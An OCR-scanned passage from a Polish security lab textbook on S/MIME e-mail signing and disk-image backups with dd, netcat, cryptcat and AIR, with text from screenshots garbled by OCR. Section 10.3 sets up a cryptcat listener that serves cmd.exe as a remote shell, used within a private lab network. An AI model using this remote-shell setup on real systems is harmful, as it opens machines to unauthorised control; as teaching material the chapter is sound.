Wyslij Adresy Pisownia  Zalacz  |Zabezpieczenia | Zapisz jako

Madawea: | bss_test <agus.dev@grnail.con ® Nie szyfruj tej wiadomosci E|
=1 Do: | 1= Zaszyfruj te wiadomosé

Podpisz cyfrowo te wiademosc

Pokaz infermacje o zabezpieczeniach

() Nalezy skonfigurowac jeden lub wigcej osobistych certyfikatdw, zanim bedzie mozna uzyd tej opaji.
lf) Skonfigurowac teraz?

Rys. 9.39. Konfiguracja osobistego certyfikatu
Zrédlo: opracowanie wlasne.

9.12.2. Kliknij Wybierz obok pola opisanego jako Certyfikat, ktory bedzie
uzywany do cyfrowego podpisywania wysylanych wiadomosci: nastgpnie
wybierz swdj certyfikat z rozwijanej listy i zatwierdz OK (rys. 9.40).
Gdy aplikacja zapyta czy do szyfrowania maili wysytanych do tego konta
ma uzy¢ tego samego certyfikat, wybierz OK (rys. 9.41).

uragja
= bss_lab@hotmail.c 2 e :
1sbOnotmsl com Zabezpieczenia wiadomosci
Konfiguracja serwera
Kopie i foldery Aby wysylat i odbieraé wiadomosci podpisane cyfrowe lub zaszyfrowane, nalezy okreslic certyfikat podpisu
Tworzenie asobistego oraz certyfikat szyfrujacy.

Micjsce na dysku

-~ Podpis cyfrowy
Certyfikat, ktéry bedzie uzywany do cyfrowege podpisywania wysylanych wiadomosci:

Niecheiana poczta
Potwierdzenia

Zabezpieczenia
lab®hotmail.co

(«C U E 7aimportowany certyfikat [01:00:00:00:00:01:2A:3C:52:E7:3A]

ania otrzymanych wiadomosci:
Szczegély wybranego certyfikatu:

Wystawiony dla: E=bss_lab@hotmail.com, CN=bss_lab@hotmail.com |

Numer seryjny: 01:00:00:00:00:01:2A:3C:52:E7:3A

Wazny od 2010-08-04 09:58:41 do 2010-09-03 09:58:38

Cel: Podpis,Szyfrowanie
Wystawiony przez: CN=GlobalSign PersonalSign Class 1 CA,OU=PersonalSign Class 1 CA,0=GlobalSign
mv-sa,C=BE

Przechowywany w: Urzadzenie zabezpieczajace

o) o ] |

Rys. 9.40. Wybor certyfikatu
Zrédlo: opracowanie wlasne.
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Zanim bedzie mozliwe cyfrowe podpisywanie wiadomoéci, nalezy okredli¢ certyfikat, ktéry bedzie
uZywany przez inne osoby przy wysytaniu szyfrowanych wiadomesci do uzytkownika tego konta. Czy
uzyé tego samego certyfikatu do szyfrowania | deszyfrowania wiadomosci wysytanych do

uzytkownika tego konta?

Rys. 9.41. Wybranie certyfikatu do szyfrowania i deszyfrowania wiadomosci
odbieranych przez wilasciciela certyfikatu
Zrédlo: opracowanie wlasne.

9.13. PKI w praktyce — podpisywanie wiadomosci MS Outlook

9.13.1. Narzedzia -> Opcje -> Zabezpieczenia. Zaznacz opcje Dodaj podpis
cyfrowy do wysylanych wiadomosci i wybierz Ustawienia...

(o]

| Preferende I Ustawienia poczty I Format poczty I Pisownia | Zabezpieczenia | Inne

Zaszyfrowana wiadomost e-mail

_ [Tl szyfruj tresé i zataczniki wysytanych wiadomosc
Dodaj podpis cyfrowy do wysylanych wiadomoscd
Wyslij podpisang wiadomost tekstem zwyklym przy wysylaniu podpisanych wiadomoscd
[] Zazadaj potwierdzen 5/MIME dla wszystkich podpisanych wiadomosc 5/MIME

Ustawienie domysine: | | Ustawienia...

Strefy zabezpieczen

7 Strefy zabezpieczen pozwalajg Ci decydowad o tym, czy uruchamiad skrypty i aktywnag
zawartost wiadomosd HTML.

Strefa: [G Witryny z ograniczeniami '] [ Ustawienia strefy... ]

Pobieranie obrazdw

[ Zmien ustawienia automatycznego pobierania. .. ]

Identyfikatory cyfrowe (certyfikaty)

Identyfikatory cyfrowe (certyfikaty) to Twoje dowody toZsamodd w transakcjach
cyfrowych,

[ Importuj/Eksporty;j... ] [ Pobierz identyfikator cyfrowy .. ]

[ ok [ anuy ][ zastoss |

Rys. 9.42. Konfigurowanie podpisu w kliencie MS Outlook
Zrédlo: opracowanie wlasne.
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9.13.2. Wpisz nazwg ustawien i kliknij przycisk Wybierz... znajdujacy si¢ obok
pola opisanego jako Certyfikaty i algorytmy nastgpnie zaznacz swdj
certyfikat i zatwierdz klikajac OK.

Fow _ cmaneea — o
Zmienianie ustawienia zabezpieczel m

Preferencie ustawienia zabezpieczen

Mazwa ustawier zabezpieczen:
bss_test -

Format kryptograficzny: [S,.'MI.ME et

7] Domyéine ustawienie zabezpieczen dia tego formatu wiadomosd kryptograficzne;

Domysine ustawienie zabezpieczen dla wszystkich wiadomosd kryptograficznych

[Etykiety zabezpieczen... ] [ MNowe ] Usury ) Hasfo...

Wybierz certyfikat, ktdrego cheesz uiyd,

|

Zamierzone. ..
Uwierzyteln. ..

Wystawion... Wystawion... Przyjaznan... Data wyga...

2010-05-03

Globalsign ...

[ ok |[ Ay

] [ Wyswietl certyfikat ]

Rys. 9.43. Wybieranie certyfikatu
Zrédto: opracowanie wlasne.

9.13.3. Podpisz cyfrowo wiadomos$¢ (rys. 9.44).

g8 Wiadomodc

¢ Plik Edycja Widok Wstaw Format Narzedzia Tabela Okno Pomog

Tt
i | @38 Y 8| ¥ | [ Opge. + | HTML - [E]as
oo | Podpisz yfrowo|
how... |
Temat: |

bl S8 g 23 8 || Times NewRoman  +12 .| A .| B F U |=

J},!

Rys. 9.44. Podpisywanie wiadomosci
Zrédto: opracowanie wlasne.
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10. KoPIE ZzZAPASOWE

Opracowat: Sebastian Bugata, Maciej Szmit

Cel ¢wiczenia: Wykonanie binarnej kopi partycji.

Potrzebne narzedzia: BackTrack Linux 4, Ubuntu 10.10, Microsoft
Windows server 2003, netcat dla windows, cryptcat
dla windows, dd dla Windows, dysk USB (pendrive)

Literatura: Szmit Maciej, O kopiach zapasowych i innych
oczywistosciach. Boston IT Security Review, 2007,
nr 3, ss. 8-11.

Kazdy system podatny jest na ataki, awarie czy tez czynniki Srodowiskowe,
na ktére nie mamy wptywu. Najwazniejsza forma zapobiegania utracie waznych
danych jest regularne tworzenie kopii zapasowych. Rozsadna polityka w tej
kwestii pozwala na zaoszczgdzenie czasu oraz zminimalizowanie lub catkowite
zapobiegnigcie utracie kluczowych danych.

W ponizszym ¢wiczeniu zapoznasz si¢ z bardzo prostym, darmowym,
a zarazem funkcjonalnym narzgdziem, jakim jest dd (ang. convert and copy).
W drugiej czg$ci ¢wiczenia przygotujesz dysk systemowy USB, ktérego bedziesz
moégt uzywaé do wykonywania kopii rzeczywistych maszyn.

Przed przystapieniem do wykonania ¢wiczenia dodaj do maszyn wirtualnych
z systemami BackTrack 4 1 Windows Server 2003 nowy dysk o pojemnosci
okoto 300 MB zgodnie z instrukcja zamieszczona w rozdziale "Przygotowanie
srodowiska pracy”.

Debian Linux 5.0
172.16.1.1/ 24

BackTrack 4 R2
172.16.1.2/ 24

Microsoft Windows Ubuntu Linux
Server 2003 10.10
172.16..1.3 /24 172.16.1.5/ 24

Rys. 10.1. Topologia sieci wykorzystana w ¢wiczeniu
Zrédlo: opracowanie wilasne.
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10.1. Wykonanie obrazu partycji

10.1.1. Przejdz do Wirtualnej Maszyny z systemem BackTrack.

10.1.2. Do wys$wietlenia listy wszystkich dyskéw oraz partycji na nich zalozonych
w systemie Linux (BackTrack 4) stuzy polecenie:

fdisk -|

Przy pomocy tego polecenia uzyskasz informacje odnos$nie do podtaczonych
dyskéw twardych i tablic partycji. Przyktadowy efekt dzialania polecenia
przedstawia rys. 10.2, z ktérego odczyta¢ mozemy informacje o typie urzadzenia

oraz ilosci partycji na nim zalozonych.

t:i-# fdisk -1

Disk /dew/sda: 8589 MB, 8589934592 bytes

255 heads, 63 sectors/track, 1044 cylinders
Units = cylinders of 160865 * 512 = 8225280 bytes
Disk identifier: 0x@0073fd3

System

Linux

Extended

Linux swap / Solaris

Device Boot Start End Blocks
4 1 993 79762

Id
83

\ CLT 1044
/dev/sdas 994 1044

2]
=]

Disk /dew/sdb: 321 MB, 321912832 bytes

255 heads, 63 sectors/track, 39 cylinders

Units = cylinders of 160865 * 512 = 8225280 bytes
Disk identifier: 0x@0027a6d

Device Boot : Blocks Id System
Jdev/sdbl 9 83 Linux

Rys. 10.2. Lista dyskéw twardych i partycji na nich zatoZzony
Zrédto: opracowanie wiasne.

10.1.3. Przed przystapieniem do dalszych czynnosci musisz odmontowa¢ wybrana

do skopiowania partycj¢ (w naszym przypadku sdb1l). Ponizsze polecenie
wys$wietla informacje o punktach montowania wszystkich partycji
(rys. 10.3).

mount
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nosuid,nodev)
c,nosuid,nodev)
e tmpfs (rw,nosuid,mode=0755)

flock type tmpfs
pe tmpfs (rw,mode=
/shm type tmpfs (rw,nosuid,nodev)
ts type devpts (rw,noexec,nosuid,gid=5,mode=620)
/sys/fs/fuse/connections type fusectl (rw,relatime)
/dev/sdbl on /media/sdbl type ext3 (rw)

Rys. 10.3. Lista punktéw montowania partycji
Zrédlo: opracowanie wilasne.

10.1.4. Odmontuj wybrang partycj¢ poleceniem umount, dla partycji sdbl
zamontowanej w /media/sdb1 polecenie wyglada nastgpujaco:

umount /media/sdb1

10.1.5. Do wykonania obrazu uzyj aplikacji dd zgodnie ze sktadnia:

dla partycji sdbl polecenie wygladato bedzie nastgpujaco:

dd if=/dev/sdb1 of=/root/sdb1.img

Wykonanie powyzszego polecenia spowoduje rozpoczgcie zapisu obrazu
partycji sdbl w katalogu /root pod nazwa sdbl.img, wcisniecie kombinacji
klawiszy ctrl + ¢ przerywa ten proces, po zakonczeniu kopiowania wyswietlona
zostanie statystyka z wykonania obrazu.

i 1t=/dev/sdbl of=/root/sdbl.1img
£26472+0 records in

£26472+0 records out
320753664 bytes (321 MB) copied, 144.51 s, 2.2 MB/s

Rys. 10.4. Statystyka z wykonania obrazu lokalnej partycji. Zrédto: opracowanie wiasne.

10.1.6. W celu ponownego zamontowania partycji uzyj polecenia mount, ktérego
sktadnia wyglada nastgpujaco:

mount /dev/<nazwa_partycji> </miejsce/gdzie/bedzie/zamontowana/partycja>

dla naszego przykladu przyjmie postac:

mount /dev/sdb1 /media/sdb1
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10.2. Wykonanie i przestanie obrazu na serwer

Do transferu obrazu przez sie¢ wykorzystano aplikacje Netcat.
10.2.1. W systemie BackTrack w konsoli wpisz:

gdzie:

-1 — wiqcza nastuch dla potqczen nadchodzqcych,
-p — port, ktory bedzie uzyty przez aplikacje do komunikacji.

Spowoduje to wlaczenie nastuchu przez aplikacje Netcat na porcie 4321 oraz
przekazanie odebranych danych do aplikacji dd, ktéra umozliwi zapis danych
w pliku o podanej nazwie, kombinacja klawiszy ctrl + ¢ przerywa t¢ operacjg.

10.2.2. Przejdz do Wirtualnej Maszyny z systemem Windows serwer 2003.

10.2.3. Na partycji C:\ nalezy stworzy¢ katalog /programy i przenie$¢ do niego
cala zawartos¢ katalogu /Kopie zapasowe/ znajdujacego si¢ na ptycie DVD.

10.2.4. W konsoli przejdz do katalogu C:\programy
nastgpnie wpisz:
dd --list
Otrzymasz doktadnie ten sam rezultat co przy poleceniu fdisk -l w systemie

Linux, wy$wietlona zostanie lista wszystkich dyskéw i partycji na nich zatozonych
wraz z ich punktami montowania; przyktadowy efekt dziatania polecenia ponize;j:

C:\programy>dd --list
dd --list

rawwrite dd for windows version 0.5.
Written by John Newbigin <jn@it.swin.edu.au>
This program is covered by the GPL. See copying.ixt for details
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Win32 Available Volume Information
\\.\Volume{8b41a17c-74eb-11df-bfoe-806e6f6€6963}\
link to W?\Device\HarddiskVolume1
fixed media
Mounted on \\.\c:

\\.\Volume{3a46dbaf-74f4-11df-8096-806e6f6e6963}\
link to W?\Device\CdRomO0
CD-ROM
Mounted on \\.\d:

\.\Volume{8b41a178-74eb-11df-bf9e-806e6f6e6963}\
link to \?\Device\Floppy0
removeable media
Mounted on \\.\a:

\\.\Volume{811a4896-5209-4919-b032-3e5192676a7¢e}\
link to \?\Device\HarddiskDmVolumes\Admin-s9h60mkrzDg0\Volume1
fixed media
Mounted on \\.\e:

NT Block Device Objects
\2\Device\CdRomO

size is 2147483647 bytes
\\?\Device\Floppy0
\\?2\Device\HarddiskO\PartitionO

link to W?\Device\HarddiskO\DRO

Fixed hard disk media. Block size = 512

size is 4294967296 bytes
\\?\Device\HarddiskO\Partition1

link to W?\Device\HarddiskVolume1
\\2\Device\Harddisk1\PartitionO

link to \?\Device\Harddisk 1\DR1

Fixed hard disk media. Block size = 512

size is 213909504 bytes

Virtual input devices

/dev/zero (null data)

/dev/random (pseudo-random data)
- (standard input)
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10.2.5. Aby uruchomi¢ aplikacje dd i przy pomocy netcat-a przesta¢ obraz przez
sie¢, uzyj polecenia zbudowanego w nastgpujacy sposob:

dd if=<zrédto> | nc adres_ip_serwera port

dla naszego przypadku:

dd if=\\.\e: | nc 172.16.1.2 4321

Po ukonczeniu wykonywania obrazu, tak jak poprzednio, wy$wietlona
zostanie statystyka.

10.3. Zdalne wykonanie i przestanie obrazu na serwer

Zastosowanie Netcat-a do przesylania obrazu jest prostym, lecz mato bezpie-
cznym rozwiazaniem ze wzgledu na brak szyfrowania transmisji, co nie zapewnia
nalezytego bezpieczenstwa danych i stuzy jedynie jako przyktad pozwalajacy
lepiej poznac i zrozumie¢ mozliwosci aplikacji dd. Znacznie lepszym rozwigzaniem
jest zastosowanie programu cryptcat (bazujacego na programie netcat) rozsze-
rzonego o dodatkowa funkcjonalno$¢, jaka jest szyfrowanie transmisji przy
wykorzystaniu algorytmu Twofish.

W tym podpunkcie wykorzystamy cryptcat-a zaré6wno do uzyskania zdalnego
dostepu, jak i przestania danych na serwer. Oczywiscie istnieja prostsze metody
zdalnego dostgpu, aczkolwiek ponizsza instrukcja ma na celu zapoznanie si¢
z wyzej wymieniong aplikacja i jej mozliwos$ciami.

10.3.1. Na Wirtualnej Maszynie z systemem Windows serwer 2003 przejdz do
katalogu C:\programy\ i uruchom Cryptcat-a z parametrami jak na
rys. 10.5.

+|Wiersz polecenia - cryptcat -l -p 1234 -e c\WINDOWS' syske:

Microsoft Windows [Wersja 5.2.37981]
{C> Copyright 1985-2883 Microsoft Corp.

C:~Documents and Settings“Administrator>cd c:programy

C:sprogranyrcryptcat —1 —p 1234 -e c:“\WINDOWS system32:cmd.exe -k password

Rys. 10.5. Konfiguracja Netcat-a dla zdalnego dostgpu
Zrédlo: opracowanie wilasne.

-l —wlqcza nastuchiwanie dla potqczen nadchodzqcych,
-p  —port, ktory bedzie uzyty przez aplikacje ,,nc” do komunikaciji,
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-e  — gdy polqczenie zostanie nawiqzane uruchomiona zostanie aplikacja,
do ktorej podasz Sciezke,

-k — klucz uzyty do szyfrowania transmisji, jezeli klucze po stronie
serwera oraz klienta bedq rozne, potqczenie zostanie nawiqzane, ale nie bedzieny
w stanie odszyfrowac otrzymywanych informacji.

10.3.2. Po skonfigurowaniu cryptcat-a na ho$cie przenie§ si¢ na Wirtualng
Maszyne z systemem BackTrack 4, taka jak w przypadku netcat-a
z podpunktu 10.2.1 wymagane jest przestawienie jednej instancji aplikacji
cryptcat w tryb nastluchu oraz podanie S$ciezki do pliku, w ktérym
aplikacja dd zapisze odebrane dane, calo$¢ zrealizuje ponizsze polecenie.

cryptcat -1 -p 4321 —k bssbackup | dd of=/root/dysk e.img

10.3.3. W drugiej instancji konsoli ustanéw zdalne polaczenie do hosta za pomoca
polecenia o nastgpujacej sktadni:

cryptcat ip_hosta port —k hasto

dla naszego przypadku:

cryptcat 172.16.1.3 1234 —k password

Po prawidtowym wpisaniu parametréw polaczenia (ip, port, hasto) uzyskasz
dostep do w petni funkcjonalnej konsoli systemu Windows serwer 2003 (rys. 10.6).
root@bt:-# cryptcat 172.16.1.3 1234 -k password

Microsoft Windows [Wersja 5.2.3790]
(C) Copyright 1985-2083 Microsoft Corp.

C:vprogramy>fi

Rys. 10.6. Zrédto: opracowanie whasne.

10.3.4. Raz jeszcze wykonaj obraz partycji z punktu 10.2.4 przy pomocy
nastgpujacego polecenia:

dla naszego przypadku:

dd if=\\.\e: | cryptcat 172.16.1.2 4321 —k bssbackup
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Po ukonczeniu wykonywania obrazu, tak jak poprzednio, wy$wietlona zostanie
statystyka.

10.4. Zamontowanie partycji z obrazu
10.4.1. Przejdz na Wirtualna Maszyng z systemem BackTrack4.
10.4.2. W celu zamontowania partycji z obrazu w systemie Linux wymagane jest

wskazanie punktu montowania danej partycji, czyli katalogu, przez ktéry

uzyskamy logiczny dostgp do danych, najlepiej do tego celu stwérz nowy
katalog.

mkdir /media/dysk E

10.4.3. Obraz zamontuj za pomoca polecenia mount:

mount -0 loop </$ciezka/do/pliku_z_obrazem.img>

</$ciezka/do/punktu/montowania>

gdzie:

-0 — umozliwia ustawienie dotykowych opcji,
loop — tworzy wirtualne urzqdzenie.

dla obrazu z punktu 10.2/10.3 polecenie wyglada nastgpujaco:

/media/dysk E

10.5. Przywrdcenie partycji z obrazu

10.5.1. Na Wirtualnej Maszynie z systemem BackTrack 4 usuf lub zmien
strukture plikow na partycji sdbl. np. tak jak na rys. 10.7:

1/# cd /media/sdbl/
I @bt: # 1s
important important-~

# mkdir important_data
# 1s

important~

Rys. 10.7. Zmiana struktury plikéw na partycji testowe;j
Zrédto: opracowanie whasne.
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Na powyzszym przykladzie za pomoca polecenia mkdir zostal stworzony
katalog important_data.

10.5.2. Nastgpnie odmontuj partycje sdbl poleceniem umount:

umount /media/sdb3/

10.5.3. Aby przywrdéci¢ partycje z obrazu wykonanego w punkcie 10.1 wykorzystaj
aplikacje dd, podajac jako zrddto Sciezke do pliku z obrazem, a jako
miejsce docelowe partycje sdbl, procedur¢ przywracania przedstawia
rys. 10.8.

¢ # dd if=/root/sdbl.img of=/dev/sdbl
B records in

2+0 records out
320753664 bytes (321 MB) copied, 148.113 s, 2.2 MB/s

Rys. 10.8. Przywracanie zawarto$ci partycji z obrazu
Zrédto: opracowanie wilasne.

10.5.4. W celu weryfikacji poprawnosci przeprowadzonych czynno$ci zamontuj
ponownie partycje sdbl.

# mount /dev/sdbl /media/sdbl/

Rys. 10.9. Weryfikacja zawarto$ci przywrdconej partycji
Zrédto: opracowanie whasne.

Jezeli obraz wykonano prawidlowo, a przywracanie przebiegto bez zadnych
btedéw, to wszystkie zmiany zostang przywrdcone do stanu, w ktérym wykonano
obraz, co ilustruje rys. 10.9. Nalezy pamigta¢ o regularnym wykonywaniu kopii
zapasowych, poniewaz po przywréceniu nieaktualnego obrazu moze si¢ okazac,
ze 1 tak straciliémy cenne dla nas dane.

10.6. Automated Image and Restore
AIR (ang. Automated Image and Restore) jest naktadka graficzna w systemie
Linux na dd zaprojektowana w celu ufatwienia wykonywania obrazéw binarnych

dyskéw twardych.

10.6.1. W systemie Ubuntu 10.10 przejdz do linii polecen uzytkownika root:
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10.6.2. Zainstaluj perl-tk, sharutils, cryptcat-a przy pomocy nastgpujacych polecen:

apt-get install perl-tk

apt-get install sharutils
apt-get install cryptcat

10.6.3. Pobierz aplikacje air ze strony http://sourceforge.net/projects/air-imager/

10.6.4. Przejdz w konsoli do folderu, w ktérym zapisate§ archiwum zawierajace
aplikacje, a nastgpnie uzyj ponizszego polecenia w celu rozpakowania
archiwum (uwaga, nazwa archiwum/skryptu instalacyjnego moze ulec
zmianie w kolejnych wersjach aplikacji, niniejsza instrukcja dotyczy
wersji 2.0.0):

tar -xzf air-2.0.0.tar.gz

10.6.5. Wejdz do folderu aplikacji poleceniem:

cd air-2.0.0

i uruchom skrypt instalacyjny, wpisujac:

Jinstall-air-2.0.0

po rozpoczgciu dziatania skryptu zostaniesz zapytany czy na pewno
chcesz zainstalowac¢ aplikacje, wcisnij Enter.

Perl/Tk is not installed on your system or you have a version
(804.829) other than what is called for, so for the installation
to proceed, it will have to be downloaded from the CPAN site on
he Internet. This means your system must be connected to a
etwork with Internet access and properly configured. If you

an surf the web then you should be okay.

Dnce Perl/Tk is downloaded, it will automatically be compiled
hnd installed.

[f you are ready to proceed with the installation/upgrade,
press ENTER.

o cancel, hit Control-C.

Rys. 10.10. Skrypt instalacyjny aplikacji AIR
Zrédto: opracowanie wiasne.
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10.6.6. W systemie Ubuntu 10.10 wpisz w konsoli polecenie:

air

ktére uruchomi aplikacje.

10.6.7. Ubuntu 10.10 postuzy jako magazyn dla obrazu, ktéry wykonasz za chwilg,
wybierz miejsce, gdzie zapisany zostanie obraz, klikajac na ikonke¢ po
prawej stronie pola opisanego jako Destination device/file: nastgpnie
wybierz katalog /root/, a w polu File name: wpisz data.img i kliknij

Save (rys. 10.11).

File

Help |
Source devicefTile: Destination deviceTile:
[ &l &
Source Block Size: 512 < Dest. Block Size: 512

Rt @ Destination File/Device

Directory: Iroot _.| |
Compression: 3 .cpan [ .profile |
7 pulse [1 .pulse-cookie
None £ wapi
DD Count: O airrc
[ .bash_history
[1 .bashrc
Conv: [P
NI File name: |data.img || save |
_.| Cancel |
ooooooo
0000000 q
B e
SDA ZERO HULL HET
‘ Start | | Exit | Show Status Window... ||

Rys. 10.11. Konfiguracja miejsca zapisu obrazu po stronie magazynu obrazéw

Zrédto: opracowanie wiasne.

240



10.6.8. Zrédto obrazu ustawisz, wybierajac przycisk NET - > Source, w nastgpnym
oknie dialogowym poproszony zostaniesz o podanie portu, na ktérym
bedzie nastuchiwata aplikacja, wpisz 12345 i zatwierdz przyciskiem Ok,
dostaniesz informacje, ze do rozpoczgcia procesu trzeba wybraé przycisk
Start, jednak zanim to zrobisz uaktywnij opcje cryptcat. Dwa ponizsze
rysunki przedstawiajq proces poprawnej konfiguracji programu.

File Help |
| Source device/file: Destination device/file:

I ﬁl I.Frcotidata.lmg ﬂ

Source Block Size: 512 | Dest. BElock Size: 512 —

_| Cusiom Block Size: | _| Custom Block Size: |

™ Remote Computer is...

Is the Remote computer the Source or
Destination?

IU picat
Conv: iflag Source I Destination Cancel 5 1818
noerrorsync direct — |

Connected devices

{ulalulalalals]
0000000

[uTaTuTaTalali]
Q00000

ZERQ

=1
@p
HET

i

HULL

SDA

‘ Start | | Exit | Show Status Window... ||

Rys. 10.12. Konfiguracja zrédta obrazu po stronie magazynu obrazéw
Zrédto: opracowanie wiasne.

Rys. 10.13 przedstawia wyglad prawidlowo skonfigurowanej aplikacji, przed

przystapieniem do dalszych czynnosci zweryfikuj poprawno$¢ wprowadzonych
Zmian.
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AIR 2.0.0 - Automated

File

Image & Restore - 2010-02-17

Help |

Source device/file:

Ipcrt1 2345 &

Source Block Size: 512

_| Custom Block Size: |

=

Destination device file:

I!rcnm:lata.img ﬂ

Dest. Block Size: 512

_| Custom Block Size: |

—

Options
Compression: Hash1: Hash 2: Verity: I
None _-| mdS _-l None _-l\'aa _-l _| Split image
DD Count: Skip (Input): Seek (Output): 2047
[ [o o W Cryptcat
Conv: imag: Key: Iphij 618
Inoerror_.sync direct  — |
Connecled devices
fulululule]ulu]
& |
ZERO NULL HET

‘Starll |Ex|l|

Show Status Window... ||

Rys. 10.13. Widok prawidtowo skonfigurowanej aplikacji po stronie magazynu obrazéw
Zrédlo: opracowanie wlasne.

Po wybraniu przycisku Start aplikacja przejdzie w tryb nastuchu, oczekujac
polaczenia na wskazanym porcie. Wybranie przycisku Show Status Windows...
umozliwia §ledzenie postgpdéw na biezaco.

10.6.9. Przejdz do Wirtualnej Maszyny z systemem BackTrack 4.

10.6.10. Na partycji sdbl zapisz plik testowy o nazwie wazne.txt, nastgpnie
odmontuj partycje sdbl poleceniem:

umount /media/sdb1/

10.6.11. Uruchom program AIR doktadnie w ten sam spos6b co poprzednio.
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10.6.12. Tym razem jako Source ustaw wlasciwe zrédlo, czyli dysk sdb, przycisk
SDB -> Set as Source (rys. 10.14).

File Source Dest

_| Custom Block Size:

Help
Source device/file: Destination device/file:
=] &
Source Block Size: 512 Dest. Block Size: 512

_| Custom Block Size:

Options
Compression: Hash: Verify: | Use DCFLDD
= | L | PP
oos = Drive Action /dey/! S ]
DD Count:
!— Select action for device /dev/sdb:
Conv:

noerror

| Drive Info I Partitions | Set as Source I Set as Dest | Ca

Connected devices

900000
TOGI00

felseriaiai
‘Do0no00

ZERO

i

HULL

fee

HET

o | o]

Show Status Window... ||

Enter values and click 'Start’ to begin

Rys. 10.14. Konfiguracja zrédta obrazu w systemie, na ktérym wykonany bedzie obraz
Zrédto: opracowanie wiasne.

10.6.13. Jako miejsce zapisu obrazu wybierz NET -> Destination, wpisz adres
IP magazynu obrazéw [72.16.1.5 oraz port, na ktéry wysylane beda

dane /2345 (rys. 10.15).

File Source Dest

Help |

‘Source device/ile:
idevisdb =

‘Source Block Size: 512 —
_| Custom Block Size:

Destination device/file:
ip172.16.1 5 port12345 {5

Dest. Block Size: 8192 —
_| Custom Block Size:

Options

Compression: Hash: Verify: | Use DCFLDD
Blone i — | > —‘l % (@ Remote IP &.4& X

DD Count: Skip (Input): DestIP |172.16.1.5

[ [o Dest Port [12345 ryptcat

Conv: |

noerror

Connecled devices

ooo00o0:

HDC

©

SDA

@

SDB

A |

Z2ERO HULL

HET

o | o]

‘Show Status Window... ||

Enter values and click 'Start’ to begin

Rys. 10.15. Konfiguracja miejsca zapisu obrazu w systemie, na ktérym wykonany bgdzie obraz
Zrédlo: opracowanie wlasne.
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Ponizszy rysunek przedstawia prawidtowa konfiguracje po stronie systemu,
na ktérym wykonany zostanie obraz. Przed przystapieniem do dalszych czynno$ci
zweryfikuj poprawnos$¢ wprowadzonych zmian.

File Source Dest Help
Source devicefile: Destination deviceffile:
P r] = Z ~
idevisdb & ip172.16.1.5 port12345 75|
Source Block Size: 512 Dest. Block Size: 8192
_| Custom Block Size: _| Custom Block Size:
Options
Compression: Hash: Verity: | Use DCFLDD
None — I mds | Yes — I L5
DD Count: Skip (Input): Seek (Output):
| o o W Crypteat
Conv: Key: |phi_1.618
nogrror
Connecled devices
0000000 EL
HonOGnn 3
@ @ @ Y ﬁ
HDC SDA SDB ZERO | HULL HET

| Start | | Exit ‘Show Status Window... ||

Enter values and click "Start' to begin

Rys. 10.16. Widok prawidtowo skonfigurowanej aplikacji systemu,
na ktérym wykonany zostanie obraz
Zrédto: opracowanie wiasne.

10.6.14. Po wybraniu przycisku Start aplikacja zapyta czy pod wskazanym
adresem uruchomiona i prawidtowo skonfigurowana jest aplikacja AIR,
wybierz Yes. W kolejnym komunikacie wybierz MDS jako spos6b
poprawnos$ci weryfikacji przesytanych danych (rys. 10.17).

You cannot use the " Verify" option when the
destination is over the network. It is suggested
to run a MDS5 checksum on this end and use
the "Verify" option on the destination side.
Do you wish to use MDS verification, no
verification, or cancel the operation?

None Cancel

Rys. 10.17. Wybér weryfikacji poprawnosci przesytanych danych
Zrédto: opracowanie wiasne.
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Po wyborze tej opcji rozpocznie si¢ proces tworzenia i przesytania obrazu,
jego postepy mozesz $ledzi¢, wybierajac przycisk Show Status Windows ... Po
wykonaniu obrazu wyS$wietlona zostanie statystyka oraz poréwnane zostana
hashe MD5 w celu weryfikacji poprawnosci przestanego obrazu

10.6.15. Po ukoniczeniu procesu trwozenia obrazu zamontuj partycje sdbl:
mount /dev/sdb1 /mnt/data
i usun z niej plik testowy wazne.txt a nastgpnie ponownie ja odmontu;.

10.6.16. Zmien konfiguracje aplikacji AIR na obu systemach zgodnie z rysunkami

10.8-10.19. Uruchom najpierw aplikacje na systemie BackTrack 4,
nastepnie na Ubuntu 10.10.

AIR 1.2.8 - Automated Image & Restore - 09/19/2005

File Source Dest Help |
Source device/Tile: Destination device/file:
[port:12345 =] idevisdb &
Source Block Size: 512 - Dest. Block Size: 512 —
_| Custom Block Size: I _| Custom Block Size: I
Options
Compression: Hash: Verity: | Use DCFLDD
None — | md5s — | No — | 2
DD Count: Skip (Input): Seek (Output): I
| o o M Cryptcat
Conv: Key: Epn|_1 618
!noerror
Connecled devices
@ 0000000 E}t
0000000 Fi
@ @ B ﬁ E1d
HDC SDi SDB ZERO HULL HET
| Start | | Exit | Show Status Window... ||
Enter values and click "Start’ to begin

Rys. 10.18. Konfiguracja AIR na komputerze w ktérym przywrdécony ma by¢ obraz
Zrédto: opracowanie wiasne.
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File

Help |

Source devicefile:

IJrootfdata.Img ﬁl

Source Block Size:

_| Custom Block Size: |

512 —

Destination device/file:

Ilp:1 721612port12345

Dest. Block Size: 512

_| Custom Block Size: |

=

Options
Compression: Hash 1: Hash 2: Verify: i
None _-| md5 _|| None _-|Yes _.| I
DD Count: SKip (Input): Seek (Output):
| |o |o | Cryptcat
Conv: iMag: Key: |pn|_1 618
Innerrcr_.sync direct — |
Connected devices
0000000
0000000 E!! g
@ e @ Eld
SDA ZERO HULL HET
‘ Start | | Exit | Show Status Window... ||

Rys. 10.19. Konfiguracja AIR na komputerze w ktérym przechowywany jest obraz
Zrédto: opracowanie wiasne.

10.6.17. Po zakoniczeniu procesu przywracania zamontuj partycj¢ i sprawdz jej
zawartos$¢, jezeli na partycji znajduje si¢ plik wazne.txt oznacza to, ze
obraz przywrdcono prawidlowo i udato si¢ odzyskac utracone dane.

10.7. Przygotowanie systemowego dysku USB

Dystrybucje systeméw operacyjnych, w szczegdlnosci systemow z rodziny
Linux, uruchamiane z ptyt CD/DVD zawierajacych prekonfigurowane $rodowiska
przeznaczone do wyspecjalizowanych celéw ciesza si¢ spora popularnoscia.
Zaleta takich dystrybucji jest niedokonywanie jakichkolwiek zmian na systemowych
dyskach twardych, co utatwia zachowanie porzadku i pozwala na uniknigcie
ktopotéw zwigzanych z ewentualnym brakiem zgodno$ci pomigdzy réznymi
systemami operacyjnymi korzystajacymi z tych samych wolumenéw fizycznych
badz logicznych. Rozszerzeniem dystrybucji na ptytach optycznych sa
dystrybucje uruchamiane z dyskéw USB, z ktérych czgs¢ oferuje mozliwosé
tworzenia tzw. Live Persistence, czyli nanoszenia trwalych zmian w systemie
plikéw (pierwotne dystrybucje live wykorzystywaly tworzony w czasie startu
systemu RAMdysk, tak wigc wszelkie zmiany w $rodowisku wykonane przez
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uzytkownika byty tracone po restarcie komputera), co pozwala na instalowanie
